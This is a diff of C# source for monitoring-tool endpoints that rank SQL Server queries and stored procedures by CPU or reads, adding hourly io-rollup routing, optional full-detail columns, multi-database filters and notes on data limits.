             var windowTruncated = RawWindowFloor.IsTruncated(floor, requestedStart);
             if (hourly)
             {
-                precisionNote = "hourly-rollup rows: no host-object split (proc-hosted callers sharing a query_hash are combined); query_plan_hash, plan_handle, DOP, reads/writes/physical reads/rows/spills, distinct_texts and min/max cpu/elapsed are null — "
+                /* #5329: on the io route (query_stats_io_hourly) the rows carry logical reads, physical reads and logical
+                   writes, so they are not in the null list; every other hourly read still has none of them. */
+                /* ?: binds looser than +: the shared tail (the "does not carry them" sentence and the window edges) sits
+                   outside the conditional's parentheses so it lands on BOTH routes (#5329; unparenthesized, the io route
+                   lost the edges note). The sql_handle caveat is the stitched route's only: it exists because the legacy
+                   query_stats_hourly keeps zero-interval rows, which the io rollup's WHERE excludes. */
+                precisionNote = (routed.IoRoute
+                    ? "hourly-rollup rows from query_stats_io_hourly, the rollup that keeps logical reads: total_logical_reads, total_physical_reads and total_logical_writes are the rollup's sums. There is no host-object split (proc-hosted callers sharing a query_hash are combined); query_plan_hash, plan_handle, DOP, rows/spills, distinct_texts and min/max cpu/elapsed are null — "
+                    : "hourly-rollup rows: no host-object split (proc-hosted callers sharing a query_hash are combined); query_plan_hash, plan_handle, DOP, reads/writes/physical reads/rows/spills, distinct_texts and min/max cpu/elapsed are null — ")
                     + "the rollup does not carry them, and its min/max are per-collection sums, not per-execution extremes."
-                    + " sql_handle is the rollup's MAX(sql_handle), which can name a handle seen only on a zero-interval collection that raw excludes; totals are unaffected."
+                    + (routed.IoRoute ? "" : " sql_handle is the rollup's MAX(sql_handle), which can name a handle seen only on a zero-interval collection that raw excludes; totals are unaffected.")
                     + " " + HourlyWindowEdges.Note(requestedStart, floor, now, routed.HourlyCeiling);
             }
 
+            /* detail='full' on the hourly tier: the rollup carries none of the detail columns, so the call is
+               answered without them. Said here, since a missing field alone reads as "the store has no value". */
+            if (full && hourly)
+            {
+                precisionNote += (precisionNote is null ? "" : " ")
+                    + "detail=full was asked, but the hourly rollup does not carry the detail fields (last_execution_time, creation_time, "
+                    + "physical-read/row/grant/spill/thread min and max, total_clr_ms, plan_generation_num, worker_time_per_second); they are not in these rows. "
+                    + "A window the raw tier still holds returns them.";
+            }
+
             /* A forced-raw read (parallel_only / min_dop / group_by=host_object) over a window raw no longer
                holds read nothing: the floor is null, and "the whole window" would be a claim about a table that
                was empty. The rollup that does hold the window cannot apply those refinements. */
             if (routed.RawForced && floor is null)
             {
+                var cannot = new List<string>();
+                if (minMaxDop > 0 || rollUp)
+                {
+                    cannot.Add("apply parallel_only/min_dop/group_by=host_object");
+                }
+
+                if (ranking == TopRanking.Reads && routed.ReadsForcedRaw)
+                {
+                    cannot.Add("rank by reads (the stitched rollups carry no per-query logical reads, and the io hourly rollup, query_stats_io_hourly, does not reach this window's start on this store)");
+                }
+
                 return McpHelpers.Status(
                     "empty",
-                    "raw query_stats holds nothing in this window; the hourly rollup, which covers this window, cannot apply parallel_only/min_dop/group_by=host_object",
+                    "raw query_stats holds nothing in this window; the hourly rollup, which covers this window, cannot " + string.Join(" or ", cannot),
                     new
                     {
                         filter_applied = filterApplied,
@@ -675,12 +808,12 @@ was empty. The rollup that does hold the window cannot apply those refinements.
                     return McpHelpers.Status(
                         "empty",
                         windowTruncated
-                            ? $"No query-stats group on {resolved.ServerName} in the last {hours_back} hour(s) has a cached plan with lifetime max_dop >= {minMaxDop}. The filter was applied in SQL over the part of the window raw query_stats still holds (from {effectiveStart:o}; the older part was not read), so this is that part's answer rather than a page artefact — drop parallel_only / min_dop to see the unfiltered ranking, or confirm current parallelism with analyze_query_plan."
+                            ? $"No query-stats group on {resolved.ServerName} in the last {hours_back} hour(s) has a cached plan with lifetime max_dop >= {minMaxDop}. The filter was applied in SQL over the part of the window raw query_stats still holds (from {McpHelpers.FormatEffectiveStart(effectiveStart)}; the older part was not read), so this is that part's answer rather than a page artefact — drop parallel_only / min_dop to see the unfiltered ranking, or confirm current parallelism with analyze_query_plan."
                             : $"No query-stats group on {resolved.ServerName} in the last {hours_back} hour(s) has a cached plan with lifetime max_dop >= {minMaxDop}. The filter was applied in SQL over the whole window, so this is the window's answer rather than a page artefact — drop parallel_only / min_dop to see the unfiltered ranking, or confirm current parallelism with analyze_query_plan.",
                         new
                         {
                             filter_applied = filterApplied,
-                            effective_start = effectiveStart.ToString("o"),
+                            effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                             effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
                             window_truncated = windowTruncated
                         });
@@ -709,7 +842,7 @@ an elastic pool (see CpuAttribution). */
                 cpuAggregate.SampleCount, cpuAggregate.FirstSample, cpuAggregate.LastSample, cpuAggregate.AvgSqlCpuPercent,
                 properties?.EngineEdition, properties?.CpuCount ?? 0, properties?.VcoreCount);
 
-            var result = rows.Select(r => new
+            var result = rows.Select(r => (object)WithDetail(new
             {
                 database_name = r.DatabaseName,
                 query_hash = r.QueryHash,
@@ -732,18 +865,18 @@ an elastic pool (see CpuAttribution). */
                 min_dop = hourly ? (int?)null : r.MinDop,
                 max_dop = hourly ? (int?)null : r.MaxDop,
                 is_parallel = hourly ? (bool?)null : r.MaxDop > 1,
-                total_logical_reads = hourly ? (long?)null : r.TotalLogicalReads,
-                total_logical_writes = hourly ? (long?)null : r.TotalLogicalWrites,
-                total_physical_reads = hourly ? (long?)null : r.TotalPhysicalReads,
+                total_logical_reads = hourly && !routed.IoRoute ? (long?)null : r.TotalLogicalReads,
+                total_logical_writes = hourly && !routed.IoRoute ? (long?)null : r.TotalLogicalWrites,
+                total_physical_reads = hourly && !routed.IoRoute ? (long?)null : r.TotalPhysicalReads,
                 total_rows = hourly ? (long?)null : r.TotalRows,
                 total_spills = hourly ? (long?)null : r.TotalSpills,
-                avg_reads = hourly ? (double?)null : r.TotalExecutions > 0 ? (double)r.TotalLogicalReads / r.TotalExecutions : 0,
+                avg_reads = hourly && !routed.IoRoute ? (double?)null : r.TotalExecutions > 0 ? (double)r.TotalLogicalReads / r.TotalExecutions : 0,
                 // #2012 stage 2: the statement's host object joins the GROUPING key, so proc-hosted
                 // INSERT...EXEC callers sharing a hash now land in separate, correctly-labeled rows;
                 // null = ad-hoc/prepared text (literal-collapse behavior unchanged). History rows
                 // predating the column read as null and age out with raw retention.
                 host_object = r.HostObjectName,
-                query_text = r.QueryText is null ? null : McpHelpers.Truncate(r.QueryText, 2000),
+                query_text = r.QueryText is null ? null : McpHelpers.TruncateStatement(r.QueryText, 2000),
                 // #2012 stage 1's disclosure, now the residual: with proc-hosted callers split by
                 // host_object, distinct_texts > 1 marks ad-hoc literal blends (or pre-stage-2
                 // history where the split can't apply yet).
@@ -760,7 +893,7 @@ an elastic pool (see CpuAttribution). */
                 rollup_note = r.DistinctQueryHashes > 1
                     ? $"rolled up {r.DistinctQueryHashes} query_hash values belonging to {r.HostObjectName} — dynamic SQL with per-value literals fragments one statement across hashes, so none of these would rank individually; query_hash and query_text are one representative fragment"
                     : null
-            });
+            }, r.Detail, full));
 
             return JsonSerializer.Serialize(new
             {
@@ -768,7 +901,7 @@ an elastic pool (see CpuAttribution). */
                 hours_back,
                 /* #4231: what was served, beside what was asked for — the same disclosure get_query_store_top
                    makes (#2364), over query_stats instead of query_store_stats. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
                 /* #2235: echoed so a stored or pasted payload cannot be misread as the other grouping —
                    the two answer different questions and the rows look alike. */
@@ -797,6 +930,10 @@ what an hourly-routed row is missing versus what raw would have returned. */
                           + "server has been monitored for less time than that), so the older part of it was not read."
                         : "The window reaches further back than this server's raw query_stats retains (or this "
                           + "server has been monitored for less time than that), so the older part of it was not read.",
+                /* #5226: the raw route's retention notice (ComposeStoreAvailability.BuildRetentionNotice, the one the composed
+                   panels carry), set only for a reads ranking, which can read raw alone, over a window past what raw keeps. Null
+                   for every other ranking, so the MCP tools (CPU only) always send null. The web page draws it above the grid. */
+                retention_notice = routed.RetentionNotice,
                 queries = result
             }, McpHelpers.JsonOptions);
         }
@@ -806,19 +943,137 @@ what an hourly-routed row is missing versus what raw would have returned. */
         }
     }
 
+    /// <summary>The row, plus (detail='full', raw tier) the desktop grid's remaining columns. A field the store
+    /// has no value for is left out, not written as null, so a full row stays as small as its data. The two
+    /// timestamps are naive UTC, converted from the monitored server's clock at the read.</summary>
+    private static JsonObject WithDetail(object row, DarlingDataReader.TopQueryDetail? d, bool full)
+    {
+        var node = JsonSerializer.SerializeToNode(row, McpHelpers.JsonOptions)!.AsObject();
+        if (!full || d is null)
+        {
+            return node;
+        }
+
+        void Put(string name, JsonNode? value)
+        {
+            if (value is not null)
+            {
+                node[name] = value;
+            }
+        }
+
+        var times = new
+        {
+            last_execution_time = d.LastExecutionTime?.ToString("o"),
+            creation_time = d.CreationTime?.ToString("o"),
+        };
+        Put("last_execution_time", times.last_execution_time);
+        Put("creation_time", times.creation_time);
+        Put("min_physical_reads", d.MinPhysicalReads);
+        Put("max_physical_reads", d.MaxPhysicalReads);
+        Put("min_rows", d.MinRows);
+        Put("max_rows", d.MaxRows);
+        Put("min_grant_kb", d.MinGrantKb);
+        Put("max_grant_kb", d.MaxGrantKb);
+        Put("min_used_grant_kb", d.MinUsedGrantKb);
+        Put("max_used_grant_kb", d.MaxUsedGrantKb);
+        Put("min_ideal_grant_kb", d.MinIdealGrantKb);
+        Put("max_ideal_grant_kb", d.MaxIdealGrantKb);
+        Put("min_spills", d.MinSpills);
+        Put("max_spills", d.MaxSpills);
+        Put("min_reserved_threads", d.MinReservedThreads);
+        Put("max_reserved_threads", d.MaxReservedThreads);
+        Put("min_used_threads", d.MinUsedThreads);
+        Put("max_used_threads", d.MaxUsedThreads);
+        Put("total_clr_ms", d.TotalClrTimeUs / 1000.0);
+        Put("plan_generation_num", d.PlanGenerationNum);
+        Put("worker_time_per_second", d.WorkerTimePerSecond);
+        return node;
+    }
+
+    /// <summary>The row, plus (detail='full', raw tier) the desktop Top Procedures grid's remaining columns. A field the
+    /// store has no value for is left out, not written as null. The two timestamps are UTC instants, converted from the
+    /// monitored server's clock at the read.</summary>
+    private static JsonObject WithProcedureDetail(object row, DarlingDataReader.TopProcedureDetail? d, long executions, long spills, bool full)
+    {
+        var node = JsonSerializer.SerializeToNode(row, McpHelpers.JsonOptions)!.AsObject();
+        if (!full || d is null)
+        {
+            return node;
+        }
+
+        void Put(string name, JsonNode? value)
+        {
+            if (value is not null)
+            {
+                node[name] = value;
+            }
+        }
+
+        var times = new
+        {
+            last_execution_time = d.LastExecutionTime?.ToString("o"),
+            cached_time = d.CachedTime?.ToString("o"),
+        };
+        Put("last_execution_time", times.last_execution_time);
+        Put("cached_time", times.cached_time);
+        Put("avg_spills", executions > 0 ? (double)spills / executions : null);
+        Put("min_logical_reads", d.MinLogicalReads);
+        Put("max_logical_reads", d.MaxLogicalReads);
+        Put("min_physical_reads", d.MinPhysicalReads);
+        Put("max_physical_reads", d.MaxPhysicalReads);
+        Put("min_logical_writes", d.MinLogicalWrites);
+        Put("max_logical_writes", d.MaxLogicalWrites);
+        Put("min_spills", d.MinSpills);
+        Put("max_spills", d.MaxSpills);
+        return node;
+    }
+
     [McpServerTool(Name = "get_top_procedures_by_cpu"), Description("Gets the most expensive stored procedures ranked by total CPU time over a window ending at as_of. Delta-based: requires ~30 minutes after adding a new server before data appears. min/max_cpu_ms and min/max_elapsed_ms are LIFETIME extremes, not windowed (extremes_note flags a provably stale one); cpu_attribution's ratio is omitted, not invented, when its inputs are missing. window_truncated marks a window floor, not a page cut; effective_start / effective_hours_back give the reach actually served. <<GUIDE>> On tier_used=hourly, min/max_cpu_ms and min/max_elapsed_ms are null, as are the columns the rollup does not carry (see precision_note). Shows execution counts, CPU/elapsed times, and I/O metrics. Delta-based: requires ~30 minutes after adding a new server before data appears." + McpHelpers.WindowTruncatedDescription + " " + McpToolGuideTopics.CpuTimeExtremesAndAttribution)]
-    public static async Task<string> GetTopProceduresByCpu(
+    public static Task<string> GetTopProceduresByCpu(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history. Default 24.")] int hours_back = 24,
         [Description("Number of top procedures. Default 20.")] int top = 20,
         [Description("Filter to a specific database.")] string? database_name = null,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        [Description("'summary' (default) or 'full': full adds the remaining desktop columns (times, read/write/spill extremes), omitting nulls.")] string detail = "summary",
         CancellationToken cancellationToken = default)
+        => GetTopProceduresRanked(postgres, server_name, hours_back, top, database_name, as_of, detail, order_by: null, cancellationToken);
+
+    /// <summary>
+    /// #5226: the body of <see cref="GetTopProceduresByCpu"/> with the ranking choice the web page offers; the MCP
+    /// tool stays CPU-only and calls this with no <paramref name="order_by"/>. See <see cref="GetTopQueriesRanked"/>.
+    /// </summary>
+    internal static Task<string> GetTopProceduresRanked(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int top, string? database_name, string? as_of, string detail,
+        string? order_by, CancellationToken cancellationToken) =>
+        GetTopProceduresRanked(
+            postgres, server_name, hours_back, top, DatabaseFilter.One(database_name), as_of, detail, order_by, cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetTopProceduresRanked(NpgsqlDataSource,string,int,int,string,string,string,string,CancellationToken)"/>
+    /// over a SET of databases, on the raw and the hourly tier alike.
+    /// </summary>
+    internal static async Task<string> GetTopProceduresRanked(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int top, DatabaseFilter databases, string? as_of, string detail,
+        string? order_by, CancellationToken cancellationToken)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
+        var full = string.Equals(detail, "full", StringComparison.OrdinalIgnoreCase);
+        if (!full && !string.Equals(detail, "summary", StringComparison.OrdinalIgnoreCase))
+        {
+            return McpHelpers.Refusal("detail", $"detail must be 'summary' or 'full' (got '{detail}').");
+        }
+
+        /* #5226: see GetTopQueriesRanked — an unknown ranking is refused, never read as cpu. */
+        if (!TopRankings.TryParse(order_by, out var ranking))
+        {
+            return McpHelpers.Refusal("order_by", $"order_by must be {TopRankings.Accepted} (got '{order_by}').");
+        }
+
         var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
         if (validation != null) return validation;
         validation = McpHelpers.ValidateTop(top, "top");
@@ -828,7 +1083,7 @@ public static async Task<string> GetTopProceduresByCpu(
         {
             var now = windowEnd;
             var requestedStart = now.AddHours(-hours_back);
-            var routed = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(postgres, resolved.ServerId, requestedStart, now, top, database_name, cancellationToken);
+            var routed = await DarlingDataReader.GetTopProceduresByCpuRoutedAsync(postgres, resolved.ServerId, requestedStart, now, top, databases, ranking, cancellationToken);
             var rows = routed.Rows;
             var tierUsed = routed.Tier == RetentionTier.Hourly ? "hourly" : "raw";
 
@@ -838,9 +1093,17 @@ public static async Task<string> GetTopProceduresByCpu(
 
             if (rows.Count == 0)
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "procedure_stats", cancellationToken)
-                    ?? McpHelpers.Status(
-                        "unavailable",
-                        "No procedure stats available. Delta-based collection requires at least two collection cycles (~30 minutes) to produce non-zero values.");
+                    ?? (routed.RawForced
+                        /* #5226: a reads ranking that read raw (the io rollup, procedure_stats_io_hourly, did not reach back further
+                           than raw), so an empty page here means raw holds nothing in the window while the stitched hourly rollups
+                           (which cannot rank by reads) may — not that nothing was collected. */
+                        ? McpHelpers.Status(
+                            "empty",
+                            "raw procedure_stats holds nothing in this window; the hourly rollup, which covers this window, cannot rank by reads (the stitched rollups carry no per-procedure logical reads, and the io hourly rollup, procedure_stats_io_hourly, does not reach this window's start on this store). Rank by cpu, duration or executions to read the rollup.",
+                            new { window_truncated = true })
+                        : McpHelpers.Status(
+                            "unavailable",
+                            "No procedure stats available. Delta-based collection requires at least two collection cycles (~30 minutes) to produce non-zero values."));
 
             /* #4231: what the raw tier actually held, beside what was asked for — same probe and disclosure as
                get_top_queries_by_cpu and get_query_store_top (#2364), over procedure_stats.
@@ -853,11 +1116,29 @@ get_top_queries_by_cpu and get_query_store_top (#2364), over procedure_stats.
                 : await DarlingDataReader.GetProcedureStatsWindowFloorAsync(postgres, resolved.ServerId, requestedStart, now, cancellationToken);
             var effectiveStart = RawWindowFloor.EffectiveStart(floor, requestedStart);
             var windowTruncated = RawWindowFloor.IsTruncated(floor, requestedStart);
+            if (routed.RawForced)
+            {
+                /* #5329: reads is answered from collect.procedure_stats_io_hourly when it reaches the window's start (or reaches further back than raw), and
+                   from raw otherwise: this read is the raw one, so the io rollup was absent, empty or reached no further
+                   back than raw does. The stitched rollups keep no logical reads. */
+                precisionNote = "order_by=reads needs per-procedure logical reads. Only raw procedure_stats and the io hourly rollup (procedure_stats_io_hourly) carry them, and that rollup was absent, empty or did not reach back further than raw on this store, so this read came from raw procedure_stats, which reaches back to effective_start (window_truncated says whether that cut the window). Rank by cpu, duration or executions to read the other hourly rollups.";
+            }
+
             if (hourly)
             {
-                precisionNote = "hourly-rollup rows: object_type, sql_handle, plan_handle, reads/writes/physical reads/spills and min/max cpu/elapsed are null — "
+                /* #5329: on the io route (procedure_stats_io_hourly) the rows carry logical reads, physical reads and logical
+                   writes, so they are not in the null list; every other hourly read still has none of them. */
+                precisionNote = (routed.IoRoute
+                    ? "hourly-rollup rows from procedure_stats_io_hourly, the rollup that keeps logical reads: total_logical_reads, total_physical_reads and total_logical_writes are the rollup's sums. object_type, sql_handle, plan_handle, spills and min/max cpu/elapsed are null — "
+                    : "hourly-rollup rows: object_type, sql_handle, plan_handle, reads/writes/physical reads/spills and min/max cpu/elapsed are null — ")
                     + "the rollup does not carry them, and its min/max are per-collection sums, not per-execution extremes."
                     + " " + HourlyWindowEdges.Note(requestedStart, floor, now, routed.HourlyCeiling);
+                if (full)
+                {
+                    precisionNote += " detail=full was asked, but the hourly rollup does not carry the detail fields (last_execution_time, cached_time, "
+                        + "min and max logical reads, physical reads, writes and spills, avg_spills); they are not in these rows. "
+                        + "A window the raw tier still holds returns them.";
+                }
             }
 
             /* #2320: same attributed-CPU disclosure as the queries tool — one shared computation,
@@ -877,7 +1158,7 @@ an elastic pool (see CpuAttribution). */
                 cpuAggregate.SampleCount, cpuAggregate.FirstSample, cpuAggregate.LastSample, cpuAggregate.AvgSqlCpuPercent,
                 properties?.EngineEdition, properties?.CpuCount ?? 0, properties?.VcoreCount);
 
-            var result = rows.Select(r => new
+            var result = rows.Select(r => (object)WithProcedureDetail(new
             {
                 database_name = r.DatabaseName,
                 full_name = string.IsNullOrEmpty(r.SchemaName) ? r.ObjectName : $"{r.SchemaName}.{r.ObjectName}",
@@ -899,19 +1180,19 @@ precision_note says so. */
                 /* #2235: same lifetime-extremes flag as the queries tool. */
                 extremes_note = hourly ? null : QueryStatExtremes.LifetimeExtremeNote(
                     r.TotalCpuUs, r.MaxCpuUs, r.TotalElapsedUs, r.MaxElapsedUs),
-                avg_reads = hourly ? (double?)null : r.TotalExecutions > 0 ? (double)r.TotalLogicalReads / r.TotalExecutions : 0,
-                total_logical_reads = hourly ? (long?)null : r.TotalLogicalReads,
-                total_logical_writes = hourly ? (long?)null : r.TotalLogicalWrites,
-                total_physical_reads = hourly ? (long?)null : r.TotalPhysicalReads,
+                avg_reads = hourly && !routed.IoRoute ? (double?)null : r.TotalExecutions > 0 ? (double)r.TotalLogicalReads / r.TotalExecutions : 0,
+                total_logical_reads = hourly && !routed.IoRoute ? (long?)null : r.TotalLogicalReads,
+                total_logical_writes = hourly && !routed.IoRoute ? (long?)null : r.TotalLogicalWrites,
+                total_physical_reads = hourly && !routed.IoRoute ? (long?)null : r.TotalPhysicalReads,
                 total_spills = hourly ? (long?)null : r.TotalSpills
-            });
+            }, r.Detail, r.TotalExecutions, r.TotalSpills, full));
 
             return JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
                 /* #4231: what was served, beside what was asked for. */
-                effective_start = effectiveStart.ToString("o"),
+                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
                 effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
                 /* #4231 stage 3b: which tier answered — "raw" or "hourly" (never bare truncated/degraded
                    vocabulary; see McpHelpers.WindowTruncatedDescription's own rule). precision_note explains
@@ -933,6 +1214,8 @@ what an hourly-routed row is missing versus what raw would have returned. */
                           + "server has been monitored for less time than that), so the older part of it was not read."
                         : "The window reaches further back than this server's raw procedure_stats retains (or this "
                           + "server has been monitored for less time than that), so the older part of it was not read.",
+                /* #5226: as on get_top_queries_by_cpu: the raw route's retention notice for a reads ranking past raw's reach. */
+                retention_notice = routed.RetentionNotice,
                 procedures = result
             }, McpHelpers.JsonOptions);
         }
@@ -961,7 +1244,7 @@ internal static (DateTime Start, DateTime End, string? Note) HourlyAttributionSp
         }
 
         return (start, end.Value, string.Create(System.Globalization.CultureInfo.InvariantCulture,
-            $"Hourly tier: ranked CPU and the measured denominator both cover the served span {start:o} to {end.Value:o}."));
+            $"Hourly tier: ranked CPU and the measured denominator both cover the served span {McpHelpers.FormatEffectiveStart(start)} to {McpHelpers.FormatEffectiveStart(end.Value)}."));
     }
 
     /// <summary>
@@ -976,7 +1259,7 @@ internal static (DateTime Start, DateTime End, string? Note) HourlyAttributionSp
     /// </summary>
     private const int QueryTextPreviewLength = 400;
 
-    [McpServerTool(Name = "get_query_store_top"), Description("Cost-ranked top Query Store queries (heaviest first), not time-ordered. Requires Query Store enabled on target databases. window_truncated marks a window floor, not a page cut — no limit changes it — because stored history can be shorter than asked; effective_start / effective_hours_back give the reach actually served. <<GUIDE>> effective_start is where complete history begins. Gets expensive queries from Query Store (persistent, survives restarts). Best for: historical analysis, queries no longer in plan cache. Requires Query Store enabled on target databases. Supports database and module filtering. Reads the raw tier, and the per-interval table for the older part of a long window (the corrected rollups carry no query_id or plan_id); history_source says which served. Rows are per Query Store execution outcome (execution_type: Regular, Aborted, Exception): a plan with aborted executions returns one row per outcome, each with its own counts and averages. The execution_type filter keeps one outcome, and module_name keeps one module: the exact, case-sensitive schema-qualified name the collector records (get_top_procedures_by_cpu's full_name; Adhoc for ad-hoc statements, Unknown for an object it could not resolve), applied after interval deduplication and before ranking. When a filter matches nothing but the same read without the filters has rows, the answer is empty (a measured zero), not a Query Store precondition; a module_name miss also carries the window read (effective_start, effective_hours_back, window_truncated) as hints. query_text is a 400-character preview by default (query_text_truncated marks a cut row); full_text=true returns each row's whole statement." + McpHelpers.WindowTruncatedDescription)]
+    [McpServerTool(Name = "get_query_store_top"), Description("Cost-ranked top Query Store queries (heaviest first), not time-ordered. Requires Query Store enabled on target databases. window_truncated marks a window floor, not a page cut — no limit changes it — because stored history can be shorter than asked; effective_start / effective_hours_back give the reach actually served. <<GUIDE>> effective_start is where complete history begins. Long windows may read whole days from a daily summary; approximate: true says so. approximation_note says what the summary can miss; summary_days names the days it covered. Gets expensive queries from Query Store (persistent, survives restarts). Best for: historical analysis, queries no longer in plan cache. Requires Query Store enabled on target databases. Supports database and module filtering. Reads the raw tier, and the per-interval table for the older part of a long window (the corrected rollups carry no query_id or plan_id); history_source says which served. Rows are per Query Store execution outcome (execution_type: Regular, Aborted, Exception): a plan with aborted executions returns one row per outcome, each with its own counts and averages. The execution_type filter keeps one outcome, and module_name keeps one module: the exact, case-sensitive schema-qualified name the collector records (get_top_procedures_by_cpu's full_name; Adhoc for ad-hoc statements, Unknown for an object it could not resolve), applied after interval deduplication and before ranking. When a filter matches nothing but the same read without the filters has rows, the answer is empty (a measured zero), not a Query Store precondition; a module_name miss also carries the window read (effective_start, effective_hours_back, window_truncated) as hints. query_text is a 400-character preview by default (query_text_truncated marks a cut row); full_text=true returns each row's whole statement." + McpHelpers.WindowTruncatedDescription)]
     public static Task<string> GetQueryStoreTop(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
@@ -990,14 +1273,34 @@ public static Task<string> GetQueryStoreTop(
         CancellationToken cancellationToken = default) =>
         GetQueryStoreTop(postgres, server_name, hours_back, top, database_name, as_of, execution_type, module_name, full_text, QueryTextPreviewLength, cancellationToken);
 
+    /// <summary>The sentence beside <c>approximate: true</c> on get_query_store_top (#5094): whole days of the window came from the
+    /// daily summary, which is built after each day ends.</summary>
+    internal const string QueryStoreApproximationNote =
+        "Whole days in this window came from a daily summary built after each day ends. A row changed after its day was "
+        + "summarized is missed, or for about a day can be counted twice, and rows from a server whose clock runs more than an hour "
+        + "ahead are left out, so treat totals and the ranking as close, not exact.";
+
     /// <summary>
     /// get_query_store_top under an explicit <paramref name="previewLength"/> (#4198): the MCP tool passes
     /// <see cref="QueryTextPreviewLength"/>, the web viewer's <c>/api/read</c> mirror passes 2000 -- the cap
     /// query_text already had before this opt-in existed, so the viewer's page does not change. Same overload
     /// shape #3897's trend tools use <c>TrendBudget.Chart</c> for.
     /// </summary>
-    internal static async Task<string> GetQueryStoreTop(
+    internal static Task<string> GetQueryStoreTop(
         NpgsqlDataSource postgres, string? server_name, int hours_back, int top, string? database_name, string? as_of,
+        string? execution_type, string? module_name, bool full_text, int previewLength, CancellationToken cancellationToken = default) =>
+        GetQueryStoreTop(
+            postgres, server_name, hours_back, top, DatabaseFilter.One(database_name), as_of, execution_type, module_name, full_text, previewLength, cancellationToken);
+
+    /// <summary>
+    /// #5245: <see cref="GetQueryStoreTop(NpgsqlDataSource,string,int,int,string,string,string,string,bool,int,CancellationToken)"/>
+    /// over a SET of databases. Every one-name consumer on the empty path is list-aware: the unfiltered top-1 read that
+    /// tells a measured zero from missing data, the two empty-answer texts (<c>scopeText</c> says "for the chosen
+    /// databases" for two or more names and leaves the one-name text exactly as it was), and the Query Store
+    /// precondition, which stays silent while any database in scope is READ_WRITE.
+    /// </summary>
+    internal static async Task<string> GetQueryStoreTop(
+        NpgsqlDataSource postgres, string? server_name, int hours_back, int top, DatabaseFilter databases, string? as_of,
         string? execution_type, string? module_name, bool full_text, int previewLength, CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -1021,7 +1324,7 @@ the empty answer under it would read as "no such executions". Downstream filters
         {
             var now = windowEnd;
             var requestedStart = now.AddHours(-hours_back);
-            var read = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, resolved.ServerId, requestedStart, now, top, database_name, execution_type, module_name, cancellationToken);
+            var read = await DarlingDataReader.GetQueryStoreTopWithReachAsync(postgres, resolved.ServerId, requestedStart, now, top, databases, execution_type, module_name, cancellationToken);
             var rows = read.Rows;
             var tablePlan = read.Table;
 
@@ -1044,7 +1347,9 @@ that was served rather than echo the one that was asked for. */
             else
             {
                 var floor = await DarlingDataReader.GetQueryStoreWindowFloorAsync(postgres, resolved.ServerId, requestedStart, now, cancellationToken);
-                effectiveStart = floor ?? requestedStart;
+                /* The floor can sit before the requested start when the rows reach back past the window; the
+                   shared helper never reports a served start earlier than the one asked for. */
+                effectiveStart = RawWindowFloor.EffectiveStart(floor, requestedStart);
                 /* #4231: the shared helper's own boundary, not a bare 90-minute literal restated here. */
                 truncated = RawWindowFloor.IsTruncated(floor, requestedStart);
             }
@@ -1057,18 +1362,34 @@ that was served rather than echo the one that was asked for. */
                    the filter has rows. One unfiltered top-1 read tells the two apart; it runs only on this path.
                    module_name (#4057) is the same case and takes the same test: a module that did not run in the
                    window is a measured zero whenever the read without the filters has rows. */
+                /* #5245: one name keeps today's "in database 'X'" text; two or more have no one name to say, so the
+                   helpers get the phrase for the whole set. */
+                var scopeName = databases.Names.Count == 1 ? databases.Names[0] : null;
+                var scopeText = databases.Names.Count > 1 ? " for " + DatabaseFilter.ManyDatabasesDescription : null;
                 if ((execution_type != null || module_name != null)
-                    && (await DarlingDataReader.GetQueryStoreTopAsync(postgres, resolved.ServerId, requestedStart, now, 1, database_name, cancellationToken)).Count > 0)
+                    && (await DarlingDataReader.GetQueryStoreTopAsync(postgres, resolved.ServerId, requestedStart, now, 1, databases, cancellationToken)).Count > 0)
                     return module_name is null
-                        ? McpHelpers.QueryStoreExecutionTypeEmpty(execution_type!, hours_back, database_name)
+                        /* #5094: whole days from the daily summary make a zero here "close, not exact" (a late write the
+                           summary missed), so the empty answer carries the same flag as a populated one. */
+                        ? McpHelpers.QueryStoreExecutionTypeEmpty(execution_type!, hours_back, scopeName,
+                            read.DailyDaysUsed > 0 ? new { approximate = true, approximation_note = QueryStoreApproximationNote } : null, scopeText)
                         /* The module miss hands back the window it read: "did not run" is a claim about that window,
                            and the raw tier may not reach the whole of the one asked for. */
-                        : McpHelpers.QueryStoreModuleEmpty(module_name, execution_type, hours_back, database_name, truncated, new
-                        {
-                            effective_start = effectiveStart.ToString("o"),
-                            effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
-                            window_truncated = truncated
-                        });
+                        : McpHelpers.QueryStoreModuleEmpty(module_name, execution_type, hours_back, scopeName, truncated, read.DailyDaysUsed > 0
+                            ? new
+                            {
+                                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
+                                effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
+                                window_truncated = truncated,
+                                approximate = true,
+                                approximation_note = QueryStoreApproximationNote
+                            }
+                            : (object)new
+                            {
+                                effective_start = McpHelpers.FormatEffectiveStart(effectiveStart),
+                                effective_hours_back = Math.Round((now - effectiveStart).TotalHours, 1),
+                                window_truncated = truncated
+                            }, scopeText);
 
                 return await DarlingEngineCapability.NotCollectedStatusAsync(postgres, resolved.ServerId, resolved.ServerName, "query_store", cancellationToken)
